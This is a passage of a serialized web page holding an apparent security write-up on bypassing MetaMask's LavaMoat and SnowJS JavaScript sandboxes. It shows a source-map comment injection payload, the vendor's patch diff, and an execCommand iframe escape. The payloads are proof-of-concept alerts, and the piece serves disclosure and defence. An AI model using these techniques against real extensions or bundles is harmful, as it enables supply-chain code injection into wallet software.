rops":51052,"children":51053},{"style":1085},[51054],{"type":29,"value":51055},"''",{"type":24,"tag":90,"props":51057,"children":51058},{"style":114},[51059],{"type":29,"value":571},{"type":24,"tag":90,"props":51061,"children":51062},{"class":92,"line":428},[51063],{"type":24,"tag":90,"props":51064,"children":51065},{"style":114},[51066],{"type":29,"value":3093},{"type":24,"tag":25,"props":51068,"children":51069},{},[51070,51072,51078],{"type":29,"value":51071},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":24,"tag":32,"props":51073,"children":51075},{"className":51074},[],[51076],{"type":29,"value":51077},"/*",{"type":29,"value":51079},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":24,"tag":1019,"props":51081,"children":51083},{"id":51082},"the-bypass",[51084],{"type":29,"value":51085},"The Bypass",{"type":24,"tag":25,"props":51087,"children":51088},{},[51089,51091,51096,51098,51103],{"type":29,"value":51090},"By abusing the ",{"type":24,"tag":32,"props":51092,"children":51094},{"className":51093},[],[51095],{"type":29,"value":50593},{"type":29,"value":51097}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":24,"tag":32,"props":51099,"children":51101},{"className":51100},[],[51102],{"type":29,"value":49937},{"type":29,"value":51104}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":24,"tag":80,"props":51106,"children":51108},{"className":33176,"code":51107,"language":33178,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n package: \"xpl\",\n file: \"node_modules/xpl/index.js\",\n test: alert(document.domain),\n test1: () => { () => { () => { () => {\n\n/*\n*/\n",[51109],{"type":24,"tag":32,"props":51110,"children":51111},{"__ignoreMap":7},[51112,51120,51127,51135,51143,51151,51159,51167,51175,51182,51190],{"type":24,"tag":90,"props":51113,"children":51114},{"class":92,"line":93},[51115],{"type":24,"tag":90,"props":51116,"children":51117},{"style":252},[51118],{"type":29,"value":51119},"/*# sourceMappingURL=data:,{}\n",{"type":24,"tag":90,"props":51121,"children":51122},{"class":92,"line":200},[51123],{"type":24,"tag":90,"props":51124,"children":51125},{"emptyLinePlaceholder":16},[51126],{"type":29,"value":245},{"type":24,"tag":90,"props":51128,"children":51129},{"class":92,"line":239},[51130],{"type":24,"tag":90,"props":51131,"children":51132},{"style":252},[51133],{"type":29,"value":51134},"}}}}\n",{"type":24,"tag":90,"props":51136,"children":51137},{"class":92,"line":248},[51138],{"type":24,"tag":90,"props":51139,"children":51140},{"style":252},[51141],{"type":29,"value":51142},"}, {\n",{"type":24,"tag":90,"props":51144,"children":51145},{"class":92,"line":258},[51146],{"type":24,"tag":90,"props":51147,"children":51148},{"style":252},[51149],{"type":29,"value":51150}," package: \"xpl\",\n",{"type":24,"tag":90,"props":51152,"children":51153},{"class":92,"line":272},[51154],{"type":24,"tag":90,"props":51155,"children":51156},{"style":252},[51157],{"type":29,"value":51158}," file: \"node_modules/xpl/index.js\",\n",{"type":24,"tag":90,"props":51160,"children":51161},{"class":92,"line":281},[51162],{"type":24,"tag":90,"props":51163,"children":51164},{"style":252},[51165],{"type":29,"value":51166}," test: alert(document.domain),\n",{"type":24,"tag":90,"props":51168,"children":51169},{"class":92,"line":384},[51170],{"type":24,"tag":90,"props":51171,"children":51172},{"style":252},[51173],{"type":29,"value":51174}," test1: () => { () => { () => { () => {\n",{"type":24,"tag":90,"props":51176,"children":51177},{"class":92,"line":420},[51178],{"type":24,"tag":90,"props":51179,"children":51180},{"emptyLinePlaceholder":16},[51181],{"type":29,"value":245},{"type":24,"tag":90,"props":51183,"children":51184},{"class":92,"line":428},[51185],{"type":24,"tag":90,"props":51186,"children":51187},{"style":252},[51188],{"type":29,"value":51189},"/*\n",{"type":24,"tag":90,"props":51191,"children":51192},{"class":92,"line":437},[51193],{"type":24,"tag":90,"props":51194,"children":51195},{"style":252},[51196],{"type":29,"value":51197},"*/\n",{"type":24,"tag":25,"props":51199,"children":51200},{},[51201],{"type":29,"value":51202},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":24,"tag":1019,"props":51204,"children":51206},{"id":51205},"lavapack-patch",[51207],{"type":29,"value":51208},"Lavapack Patch",{"type":24,"tag":25,"props":51210,"children":51211},{},[51212,51214,51220],{"type":29,"value":51213},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":24,"tag":32,"props":51215,"children":51217},{"className":51216},[],[51218],{"type":29,"value":51219},"assertValidJS",{"type":29,"value":51221},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":24,"tag":25,"props":51223,"children":51224},{},[51225,51227,51234],{"type":29,"value":51226},"The patch was introduced in commit ",{"type":24,"tag":69,"props":51228,"children":51231},{"href":51229,"rel":51230},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[73],[51232],{"type":29,"value":51233},"9c38cd4",{"type":29,"value":226},{"type":24,"tag":80,"props":51236,"children":51238},{"className":42177,"code":51237,"language":42179,"meta":7,"style":7},"+ function assertValidJS(code) {\n+ try {\n+ new Function(code)\n+ } catch (err) {\n+ throw new Error(`Invalid JavaScript: ${err.message}`)\n+ }\n+ }\n\n+ // additional layer of syntax checking independent of browserify\n+ assertValidJS(sourceMeta.code) \n\n",[51239],{"type":24,"tag":32,"props":51240,"children":51241},{"__ignoreMap":7},[51242,51250,51258,51266,51274,51282,51290,51298,51305,51313],{"type":24,"tag":90,"props":51243,"children":51244},{"class":92,"line":93},[51245],{"type":24,"tag":90,"props":51246,"children":51247},{"style":349},[51248],{"type":29,"value":51249},"+ function assertValidJS(code) {\n",{"type":24,"tag":90,"props":51251,"children":51252},{"class":92,"line":200},[51253],{"type":24,"tag":90,"props":51254,"children":51255},{"style":349},[51256],{"type":29,"value":51257},"+ try {\n",{"type":24,"tag":90,"props":51259,"children":51260},{"class":92,"line":239},[51261],{"type":24,"tag":90,"props":51262,"children":51263},{"style":349},[51264],{"type":29,"value":51265},"+ new Function(code)\n",{"type":24,"tag":90,"props":51267,"children":51268},{"class":92,"line":248},[51269],{"type":24,"tag":90,"props":51270,"children":51271},{"style":349},[51272],{"type":29,"value":51273},"+ } catch (err) {\n",{"type":24,"tag":90,"props":51275,"children":51276},{"class":92,"line":258},[51277],{"type":24,"tag":90,"props":51278,"children":51279},{"style":349},[51280],{"type":29,"value":51281},"+ throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":24,"tag":90,"props":51283,"children":51284},{"class":92,"line":272},[51285],{"type":24,"tag":90,"props":51286,"children":51287},{"style":349},[51288],{"type":29,"value":51289},"+ }\n",{"type":24,"tag":90,"props":51291,"children":51292},{"class":92,"line":281},[51293],{"type":24,"tag":90,"props":51294,"children":51295},{"style":349},[51296],{"type":29,"value":51297},"+ }\n",{"type":24,"tag":90,"props":51299,"children":51300},{"class":92,"line":384},[51301],{"type":24,"tag":90,"props":51302,"children":51303},{"emptyLinePlaceholder":16},[51304],{"type":29,"value":245},{"type":24,"tag":90,"props":51306,"children":51307},{"class":92,"line":420},[51308],{"type":24,"tag":90,"props":51309,"children":51310},{"style":349},[51311],{"type":29,"value":51312},"+ // additional layer of syntax checking independent of browserify\n",{"type":24,"tag":90,"props":51314,"children":51315},{"class":92,"line":428},[51316],{"type":24,"tag":90,"props":51317,"children":51318},{"style":349},[51319],{"type":29,"value":51320},"+ assertValidJS(sourceMeta.code)\n",{"type":24,"tag":850,"props":51322,"children":51324},{"id":51323},"hacking-js-realms",[51325],{"type":29,"value":51326},"Hacking JS Realms",{"type":24,"tag":25,"props":51328,"children":51329},{},[51330,51332,51337],{"type":29,"value":51331},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":24,"tag":32,"props":51333,"children":51335},{"className":51334},[],[51336],{"type":29,"value":39233},{"type":29,"value":51338}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":24,"tag":80,"props":51340,"children":51342},{"className":33176,"code":51341,"language":33178,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[51343],{"type":24,"tag":32,"props":51344,"children":51345},{"__ignoreMap":7},[51346,51388],{"type":24,"tag":90,"props":51347,"children":51348},{"class":92,"line":93},[51349,51353,51358,51362,51366,51370,51375,51379,51384],{"type":24,"tag":90,"props":51350,"children":51351},{"style":97},[51352],{"type":29,"value":508},{"type":24,"tag":90,"props":51354,"children":51355},{"style":136},[51356],{"type":29,"value":51357}," w",{"type":24,"tag":90,"props":51359,"children":51360},{"style":120},[51361],{"type":29,"value":216},{"type":24,"tag":90,"props":51363,"children":51364},{"style":136},[51365],{"type":29,"value":33221},{"type":24,"tag":90,"props":51367,"children":51368},{"style":114},[51369],{"type":29,"value":226},{"type":24,"tag":90,"props":51371,"children":51372},{"style":108},[51373],{"type":29,"value":51374},"open",{"type":24,"tag":90,"props":51376,"children":51377},{"style":114},[51378],{"type":29,"value":117},{"type":24,"tag":90,"props":51380,"children":51381},{"style":1085},[51382],{"type":29,"value":51383},"'/non_existent'",{"type":24,"tag":90,"props":51385,"children":51386},{"style":114},[51387],{"type":29,"value":571},{"type":24,"tag":90,"props":51389,"children":51390},{"class":92,"line":200},[51391,51396,51400,51404,51408,51412,51416,51420],{"type":24,"tag":90,"props":51392,"children":51393},{"style":136},[51394],{"type":29,"value":51395},"w",{"type":24,"tag":90,"props":51397,"children":51398},{"style":114},[51399],{"type":29,"value":226},{"type":24,"tag":90,"props":51401,"children":51402},{"style":108},[51403],{"type":29,"value":34511},{"type":24,"tag":90,"props":51405,"children":51406},{"style":114},[51407],{"type":29,"value":117},{"type":24,"tag":90,"props":51409,"children":51410},{"style":136},[51411],{"type":29,"value":34521},{"type":24,"tag":90,"props":51413,"children":51414},{"style":114},[51415],{"type":29,"value":226},{"type":24,"tag":90,"props":51417,"children":51418},{"style":136},[51419],{"type":29,"value":34531},{"type":24,"tag":90,"props":51421,"children":51422},{"style":114},[51423],{"type":29,"value":1686},{"type":24,"tag":25,"props":51425,"children":51426},{},[51427,51429,51434],{"type":29,"value":51428},"This opens a new window with a new JS Realm (another ",{"type":24,"tag":32,"props":51430,"children":51432},{"className":51431},[],[51433],{"type":29,"value":39233},{"type":29,"value":51435}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":24,"tag":25,"props":51437,"children":51438},{},[51439,51441,51448],{"type":29,"value":51440},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":24,"tag":69,"props":51442,"children":51445},{"href":51443,"rel":51444},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[73],[51446],{"type":29,"value":51447},"Metamask implementation",{"type":29,"value":517},{"type":24,"tag":1019,"props":51450,"children":51452},{"id":51451},"snowjs-attack-surface",[51453],{"type":29,"value":51454},"SnowJS Attack Surface",{"type":24,"tag":25,"props":51456,"children":51457},{},[51458],{"type":29,"value":51459},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":24,"tag":25,"props":51461,"children":51462},{},[51463,51465,51472],{"type":29,"value":51464},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":24,"tag":69,"props":51466,"children":51469},{"href":51467,"rel":51468},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[73],[51470],{"type":29,"value":51471},"hooked inserters",{"type":29,"value":51473}," functions:",{"type":24,"tag":80,"props":51475,"children":51477},{"className":33176,"code":51476,"language":33178,"meta":7,"style":7},"const map = {\n Range: ['insertNode'],\n DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n Node: ['appendChild', 'insertBefore', 'replaceChild'],\n Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n ShadowRoot: ['innerHTML'],\n HTMLIFrameElement: ['srcdoc'],\n};\n",[51478],{"type":24,"tag":32,"props":51479,"children":51480},{"__ignoreMap":7},[51481,51501,51522,51561,51615,51654,51753,51773,51794],{"type":24,"tag":90,"props":51482,"children":51483},{"class":92,"line":93},[51484,51488,51493,51497],{"type":24,"tag":90,"props":51485,"children":51486},{"style":97},[51487],{"type":29,"value":508},{"type":24,"tag":90,"props":51489,"children":51490},{"style":136},[51491],{"type":29,"value":51492}," map",{"type":24,"tag":90,"props":51494,"children":51495},{"style":120},[51496],{"type":29,"value":216},{"type":24,"tag":90,"props":51498,"children":51499},{"style":114},[51500],{"type":29,"value":269},{"type":24,"tag":90,"props":51502,"children":51503},{"class":92,"line":200},[51504,51509,51513,51518],{"type":24,"tag":90,"props":51505,"children":51506},{"style":136},[51507],{"type":29,"value":51508}," Range:",{"type":24,"tag":90,"props":51510,"children":51511},{"style":114},[51512],{"type":29,"value":24829},{"type":24,"tag":90,"props":51514,"children":51515},{"style":1085},[51516],{"type":29,"value":51517},"'insertNode'",{"type":24,"tag":90,"props":51519,"children":51520},{"style":114},[51521],{"type":29,"value":734},{"type":24,"tag":90,"props":51523,"children":51524},{"class":92,"line":239},[51525,51530,51534,51539,51543,51548,51552,51557],{"type":24,"tag":90,"props":51526,"children":51527},{"style":136},[51528],{"type":29,"value":51529}," DocumentFragment:",{"type":24,"tag":90,"props":51531,"children":51532},{"style":114},[51533],{"type":29,"value":24829},{"type":24,"tag":90,"props":51535,"children":51536},{"style":1085},[51537],{"type":29,"value":51538},"'replaceChildren'",{"type":24,"tag":90,"props":51540,"children":51541},{"style":114},[51542],{"type":29,"value":133},{"type":24,"tag":90,"props":51544,"children":51545},{"style":1085},[51546],{"type":29,"value":51547},"'append'",{"type":24,"tag":90,"props":51549,"children":51550},{"style":114},[51551],{"type":29,"value":133},{"type":24,"tag":90,"props":51553,"children":51554},{"style":1085},[51555],{"type":29,"value":51556},"'prepend'",{"type":24,"tag":90,"props":51558,"children":51559},{"style":114},[51560],{"type":29,"value":734},{"type":24,"tag":90,"props":51562,"children":51563},{"class":92,"line":248},[51564,51569,51573,51577,51581,51585,51589,51593,51597,51602,51606,51611],{"type":24,"tag":90,"props":51565,"children":51566},{"style":136},[51567],{"type":29,"value":51568}," Document:",{"type":24,"tag":90,"props":51570,"children":51571},{"style":114},[51572],{"type":29,"value":24829},{"type":24,"tag":90,"props":51574,"children":51575},{"style":1085},[51576],{"type":29,"value":51538},{"type":24,"tag":90,"props":51578,"children":51579},{"style":114},[51580],{"type":29,"value":133},{"type":24,"tag":90,"props":51582,"children":51583},{"style":1085},[51584],{"type":29,"value":51547},{"type":24,"tag":90,"props":51586,"children":51587},{"style":114},[51588],{"type":29,"value":133},{"type":24,"tag":90,"props":51590,"children":51591},{"style":1085},[51592],{"type":29,"value":51556},{"type":24,"tag":90,"props":51594,"children":51595},{"style":114},[51596],{"type":29,"value":133},{"type":24,"tag":90,"props":51598,"children":51599},{"style":1085},[51600],{"type":29,"value":51601},"'write'",{"type":24,"tag":90,"props":51603,"children":51604},{"style":114},[51605],{"type":29,"value":133},{"type":24,"tag":90,"props":51607,"children":51608},{"style":1085},[51609],{"type":29,"value":51610},"'writeln'",{"type":24,"tag":90,"props":51612,"children":51613},{"style":114},[51614],{"type":29,"value":734},{"type":24,"tag":90,"props":51616,"children":51617},{"class":92,"line":258},[51618,51623,51627,51632,51636,51641,51645,51650],{"type":24,"tag":90,"props":51619,"children":51620},{"style":136},[51621],{"type":29,"value":51622}," Node:",{"type":24,"tag":90,"props":51624,"children":51625},{"style":114},[51626],{"type":29,"value":24829},{"type":24,"tag":90,"props":51628,"children":51629},{"style":1085},[51630],{"type":29,"value":51631},"'appendChild'",{"type":24,"tag":90,"props":51633,"children":51634},{"style":114},[51635],{"type":29,"value":133},{"type":24,"tag":90,"props":51637,"children":51638},{"style":1085},[51639],{"type":29,"value":51640},"'insertBefore'",{"type":24,"tag":90,"props":51642,"children":51643},{"style":114},[51644],{"type":29,"value":133},{"type":24,"tag":90,"props":51646,"children":51647},{"style":1085},[51648],{"type":29,"value":51649},"'replaceChild'",{"type":24,"tag":90,"props":51651,"children":51652},{"style":114},[51653],{"type":29,"value":734},{"type":24,"tag":90,"props":51655,"children":51656},{"class":92,"line":272},[51657,51662,51666,51671,51675,51680,51684,51689,51693,51698,51702,51707,51711,51715,51719,51724,51728,51732,51736,51741,51745,51749],{"type":24,"tag":90,"props":51658,"children":51659},{"style":136},[51660],{"type":29,"value":51661}," Element:",{"type":24,"tag":90,"props":51663,"children":51664},{"style":114},[51665],{"type":29,"value":24829},{"type":24,"tag":90,"props":51667,"children":51668},{"style":1085},[51669],{"type":29,"value":51670},"'innerHTML'",{"type":24,"tag":90,"props":51672,"children":51673},{"style":114},[51674],{"type":29,"value":133},{"type":24,"tag":90,"props":51676,"children":51677},{"style":1085},[51678],{"type":29,"value":51679},"'outerHTML'",{"type":24,"tag":90,"props":51681,"children":51682},{"style":114},[51683],{"type":29,"value":133},{"type":24,"tag":90,"props":51685,"children":51686},{"style":1085},[51687],{"type":29,"value":51688},"'insertAdjacentHTML'",{"type":24,"tag":90,"props":51690,"children":51691},{"style":114},[51692],{"type":29,"value":133},{"type":24,"tag":90,"props":51694,"children":51695},{"style":1085},[51696],{"type":29,"value":51697},"'replaceWith'",{"type":24,"tag":90,"props":51699,"children":51700},{"style":114},[51701],{"type":29,"value":133},{"type":24,"tag":90,"props":51703,"children":51704},{"style":1085},[51705],{"type":29,"value":51706},"'insertAdjacentElement'",{"type":24,"tag":90,"props":51708,"children":51709},{"style":114},[51710],{"type":29,"value":133},{"type":24,"tag":90,"props":51712,"children":51713},{"style":1085},[51714],{"type":29,"value":51547},{"type":24,"tag":90,"props":51716,"children":51717},{"style":114},[51718],{"type":29,"value":133},{"type":24,"tag":90,"props":51720,"children":51721},{"style":1085},[51722],{"type":29,"value":51723},"'before'",{"type":24,"tag":90,"props":51725,"children":51726},{"style":114},[51727],{"type":29,"value":133},{"type":24,"tag":90,"props":51729,"children":51730},{"style":1085},[51731],{"type":29,"value":51556},{"type":24,"tag":90,"props":51733,"children":51734},{"style":114},[51735],{"type":29,"value":133},{"type":24,"tag":90,"props":51737,"children":51738},{"style":1085},[51739],{"type":29,"value":51740},"'after'",{"type":24,"tag":90,"props":51742,"children":51743},{"style":114},[51744],{"type":29,"value":133},{"type":24,"tag":90,"props":51746,"children":51747},{"style":1085},[51748],{"type":29,"value":51538},{"type":24,"tag":90,"props":51750,"children":51751},{"style":114},[51752],{"type":29,"value":734},{"type":24,"tag":90,"props":51754,"children":51755},{"class":92,"line":281},[51756,51761,51765,51769],{"type":24,"tag":90,"props":51757,"children":51758},{"style":136},[51759],{"type":29,"value":51760}," ShadowRoot:",{"type":24,"tag":90,"props":51762,"children":51763},{"style":114},[51764],{"type":29,"value":24829},{"type":24,"tag":90,"props":51766,"children":51767},{"style":1085},[51768],{"type":29,"value":51670},{"type":24,"tag":90,"props":51770,"children":51771},{"style":114},[51772],{"type":29,"value":734},{"type":24,"tag":90,"props":51774,"children":51775},{"class":92,"line":384},[51776,51781,51785,51790],{"type":24,"tag":90,"props":51777,"children":51778},{"style":136},[51779],{"type":29,"value":51780}," HTMLIFrameElement:",{"type":24,"tag":90,"props":51782,"children":51783},{"style":114},[51784],{"type":29,"value":24829},{"type":24,"tag":90,"props":51786,"children":51787},{"style":1085},[51788],{"type":29,"value":51789},"'srcdoc'",{"type":24,"tag":90,"props":51791,"children":51792},{"style":114},[51793],{"type":29,"value":734},{"type":24,"tag":90,"props":51795,"children":51796},{"class":92,"line":420},[51797],{"type":24,"tag":90,"props":51798,"children":51799},{"style":114},[51800],{"type":29,"value":3093},{"type":24,"tag":25,"props":51802,"children":51803},{},[51804],{"type":29,"value":51805},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":24,"tag":25,"props":51807,"children":51808},{},[51809],{"type":29,"value":51810},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":24,"tag":1019,"props":51812,"children":51814},{"id":51813},"bypassing-snowjs",[51815],{"type":29,"value":51816},"Bypassing SnowJS",{"type":24,"tag":25,"props":51818,"children":51819},{},[51820,51822,51833,51835,51841],{"type":29,"value":51821},"The deprecated ",{"type":24,"tag":69,"props":51823,"children":51826},{"href":51824,"rel":51825},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[73],[51827],{"type":24,"tag":32,"props":51828,"children":51830},{"className":51829},[],[51831],{"type":29,"value":51832},"document.execCommand",{"type":29,"value":51834}," function is used to execute commands inside a ",{"type":24,"tag":32,"props":51836,"children":51838},{"className":51837},[],[51839],{"type":29,"value":51840},"contenteditable",{"type":29,"value":51842}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":24,"tag":80,"props":51844,"children":51847},{"className":51845,"code":51846,"language":34196,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[51848],{"type":24,"tag":32,"props":51849,"children":51850},{"__ignoreMap":7},[51851],{"type":24,"tag":90,"props":51852,"children":51853},{"class":92,"line":93},[51854,51858,51862,51866,51870,51875,51880,51885,51890,51894],{"type":24,"tag":90,"props":51855,"children":51856},{"style":34189},[51857],{"type":29,"value":1575},{"type":24,"tag":90,"props":51859,"children":51860},{"style":97},[51861],{"type":29,"value":33159},{"type":24,"tag":90,"props":51863,"children":51864},{"style":136},[51865],{"type":29,"value":34269},{"type":24,"tag":90,"props":51867,"children":51868},{"style":114},[51869],{"type":29,"value":5491},{"type":24,"tag":90,"props":51871,"children":51872},{"style":1085},[51873],{"type":29,"value":51874},"test",{"type":24,"tag":90,"props":51876,"children":51877},{"style":136},[51878],{"type":29,"value":51879}," contenteditable",{"type":24,"tag":90,"props":51881,"children":51882},{"style":136},[51883],{"type":29,"value":51884}," autofocus",{"type":24,"tag":90,"props":51886,"children":51887},{"style":34189},[51888],{"type":29,"value":51889},">\u003C/",{"type":24,"tag":90,"props":51891,"children":51892},{"style":97},[51893],{"type":29,"value":33159},{"type":24,"tag":90,"props":51895,"children":51896},{"style":34189},[51897],{"type":29,"value":8377},{"type":24,"tag":25,"props":51899,"children":51900},{},[51901,51903,51909,51911,51916],{"type":29,"value":51902},"After inserting this element to a page, it is possible to use ",{"type":24,"tag":32,"props":51904,"children":51906},{"className":51905},[],[51907],{"type":29,"value":51908},"insertHTML",{"type":29,"value":51910}," command of ",{"type":24,"tag":32,"props":51912,"children":51914},{"className":51913},[],[51915],{"type":29,"value":51832},{"type":29,"value":51917}," to add a non-sandboxed iframe.",{"type":24,"tag":80,"props":51919,"children":51921},{"className":33176,"code":51920,"language":33178,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[51922],{"type":24,"tag":32,"props":51923,"children":51924},{"__ignoreMap":7},[51925],{"type":24,"tag":90,"props":51926,"children":51927},{"class":92,"line":93},[51928,51932,51936,51941,51945,51950,51954,51958,51962,51967],{"type":24,"tag":90,"props":51929,"children":51930},{"style":136},[51931],{"type":29,"value":34521},{"type":24,"tag":90,"props":51933,"children":51934},{"style":114},[51935],{"type":29,"value":226},{"type":24,"tag":90,"props":51937,"children":51938},{"style":108},[51939],{"type":29,"value":51940},"execCommand",{"type":24,"tag":90,"props":51942,"children":51943},{"style":114},[51944],{"type":29,"value":117},{"type":24,"tag":90,"props":51946,"children":51947},{"style":1085},[51948],{"type":29,"value":51949},"'insertHTML'",{"type":24,"tag":90,"props":51951,"children":51952},{"style":114},[51953],{"type":29,"value":133},{"type":24,"tag":90,"props":51955,"children":51956},{"style":97},[51957],{"type":29,"value":10552},{"type":24,"tag":90,"props":51959,"children":51960},{"style":114},[51961],{"type":29,"value":133},{"type":24,"tag":90,"props":51963,"children":51964},{"style":1085},[51965],{"type":29,"value":51966},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":24,"tag":90,"props":51968,"children":51969},{"style":114},[51970],{"type":29,"value":571},{"type":24,"tag":1019,"props":51972,"children":51974},{"id":51973},"impact-on-lavamoat-scuttling",[51975],{"type":29,"value":51976},"Impact On Lavamoat Scuttling",{"type":24,"tag":25,"props":51978,"children":51979},{},[51980],{"type":29,"value":51981},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":24,"tag":25,"props":51983,"children":51984},{},[51985,51987,51992,51994,51999],{"type":29,"value":51986},"For the exploit, the only used functions are in ",{"type":24,"tag":32,"props":51988,"children":51990},{"className":51989},[],[51991],{"type":29,"value":34521},{"type":29,"value":51993}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":24,"tag":32,"props":51995,"children":51997},{"className":51996},[],[51998],{"type":29,"value":39233},{"type":29,"value":52000}," object.",{"type":24,"tag":25,"props":52002,"children":52003},{},[52004,52006,52011],{"type":29,"value":52005},"Consider this example, which runs a scuttled ",{"type":24,"tag":32,"props":52007,"children":52009},{"className":52008},[],[52010],{"type":29,"value":34511},{"type":29,"value":27277},{"type":24,"tag":80,"props":52013,"children":52015},{"className":33176,"code":52014,"language":33178,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[52016],{"type":24,"tag":32,"props":52017,"children":52018},{"__ignoreMap":7},[52019,52055,52092,52135],{"type":24,"tag":90,"props":52020,"children":52021},{"class":92,"line":93},[52022,52026,52030,52034,52038,52042,52046,52051],{"type":24,"tag":90,"props":52023,"children":52024},{"style":136},[52025],{"type":29,"value":34521},{"type":24,"tag":90,"props":52027,"children":52028},{"style":114},[52029],{"type":29,"value":226},{"type":24,"tag":90,"props":52031,"children":52032},{"style":136},[52033],{"type":29,"value":34213},{"type":24,"tag":90,"props":52035,"children":52036},{"style":114},[52037],{"type":29,"value":226},{"type":24,"tag":90,"props":52039,"children":52040},{"style":136},[52041],{"type":29,"value":36787},{"type":24,"tag":90,"props":52043,"children":52044},{"style":120},[52045],{"type":29,"value":216},{"type":24,"tag":90,"props":52047,"children":52048},{"style":1085},[52049],{"type":29,"value":52050}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":24,"tag":90,"props":52052,"children":52053},{"style":114},[52054],{"type":29,"value":381},{"type":24,"tag":90,"props":52056,"children":52057},{"class":92,"line":200},[52058,52062,52066,52070,52074,52079,52083,52088],{"type":24,"tag":90,"props":52059,"children":52060},{"style":136},[52061],{"type":29,"value":34521},{"type":24,"tag":90,"props":52063,"children":52064},{"style":114},[52065],{"type":29,"value":226},{"type":24,"tag":90,"props":52067,"children":52068},{"style":108},[52069],{"type":29,"value":36812},{"type":24,"tag":90,"props":52071,"children":52072},{"style":114},[52073],{"type":29,"value":117},{"type":24,"tag":90,"props":52075,"children":52076},{"style":1085},[52077],{"type":29,"value":52078},"'test'",{"type":24,"tag":90,"props":52080,"children":52081},{"style":114},[52082],{"type":29,"value":22538},{"type":24,"tag":90,"props":52084,"children":52085},{"style":108},[52086],{"type":29,"value":52087},"focus",{"type":24,"tag":90,"props":52089,"children":52090},{"style":114},[52091],{"type":29,"value":236},{"type":24,"tag":90,"props":52093,"children":52094},{"class":92,"line":239},[52095,52099,52103,52107,52111,52115,52119,52123,52127,52131],{"type":24,"tag":90,"props":52096,"children":52097},{"style":136},[52098],{"type":29,"value":34521},{"type":24,"tag":90,"props":52100,"children":52101},{"style":114},[52102],{"type":29,"value":226},{"type":24,"tag":90,"props":52104,"children":52105},{"style":108},[52106],{"type":29,"value":51940},{"type":24,"tag":90,"props":52108,"children":52109},{"style":114},[52110],{"type":29,"value":117},{"type":24,"tag":90,"props":52112,"children":52113},{"style":1085},[52114],{"type":29,"value":51949},{"type":24,"tag":90,"props":52116,"children":52117},{"style":114},[52118],{"type":29,"value":133},{"type":24,"tag":90,"props":52120,"children":52121},{"style":97},[52122],{"type":29,"value":10552},{"type":24,"tag":90,"props":52124,"children":52125},{"style":114},[52126],{"type":29,"value":133},{"type":24,"tag":90,"props":52128,"children":52129},{"style":1085},[52130],{"type":29,"value":51966},{"type":24,"tag":90,"props":52132,"children":52133},{"style":114},[52134],{"type":29,"value":571},{"type":24,"tag":90,"props":52136,"children":52137},{"class":92,"line":248},[52138,52142,52146,52151,52155,52159,52164,52168,52173,52178,52182,52186,52190,52194,52198,52202],{"type":24,"tag":90,"props":52139,"children":52140},{"style":136},[52141],{"type":29,"value":34521},{"type":24,"tag":90,"props":52143,"children":52144},{"style":114},[52145],{"type":29,"value":226},{"type":24,"tag":90,"props":52147,"children":52148},{"style":108},[52149],{"type":29,"value":52150},"getElementsByTagName",{"type":24,"tag":90,"props":52152,"children":52153},{"style":114},[52154],{"type":29,"value":117},{"type":24,"tag":90,"props":52156,"children":52157},{"style":1085},[52158],{"type":29,"value":38546},{"type":24,"tag":90,"props":52160,"children":52161},{"style":114},[52162],{"type":29,"value":52163},")[",{"type":24,"tag":90,"props":52165,"children":52166},{"style":349},[52167],{"type":29,"value":6408},{"type":24,"tag":90,"props":52169,"children":52170},{"style":114},[52171],{"type":29,"value":52172},"].",{"type":24,"tag":90,"props":52174,"children":52175},{"style":136},[52176],{"type":29,"value":52177},"contentWindow",{"type":24,"tag":90,"props":52179,"children":52180},{"style":114},[52181],{"type":29,"value":226},{"type":24,"tag":90,"props":52183,"children":52184},{"style":108}